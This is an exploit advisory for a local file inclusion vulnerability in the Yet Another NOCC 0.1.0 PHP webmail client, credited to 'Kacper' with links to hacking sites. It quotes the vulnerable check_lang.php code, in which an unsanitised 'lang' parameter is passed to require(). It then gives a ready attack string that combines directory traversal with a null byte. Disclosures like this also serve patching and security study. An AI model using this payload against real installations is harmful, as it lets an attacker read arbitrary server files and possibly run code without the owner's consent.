Yet Another NOCC 0.1.0 Local File Inclusion

`Yet Another NOCC 0.1.0 <= Local File Inclusion Vulnerabilities  
  
YANOCC is a simple and fast webmail client which can handle POP3, SMTP, and IMAP servers.   
YANOCC is based on NOCC's code and is written with PHP4. It features multi-language support,   
MIME attachments, displays HTML messages, address book, folder support.  
  
Author: Kacper  
HomePage: http://devilteam.pl/  
http://polskihacking.pl/  
  
in file check_lang.php:  
  
if (!ISSET($lang))  
{  
$ar_lang = explode(",", $HTTP_ACCEPT_LANGUAGE);  
while ($accept_lang = array_shift($ar_lang))  
{  
$tmp = explode(";", $accept_lang);  
$tmp[0] = strtolower($tmp[0]);  
if (file_exists("lang/".$tmp[0].".php"))  
{  
$lang = $tmp[0];  
break;  
}  
}  
if ($lang == "")  
$lang = $default_lang;  
}  
// Fix for faulty PHP install (RH7, see bug #24933)  
$lang = trim($lang);  
require ("lang/".$lang.".php");  
  
Vuln example:  
  
check_lang.php?lang=../[localinclude]%00  
  
  
`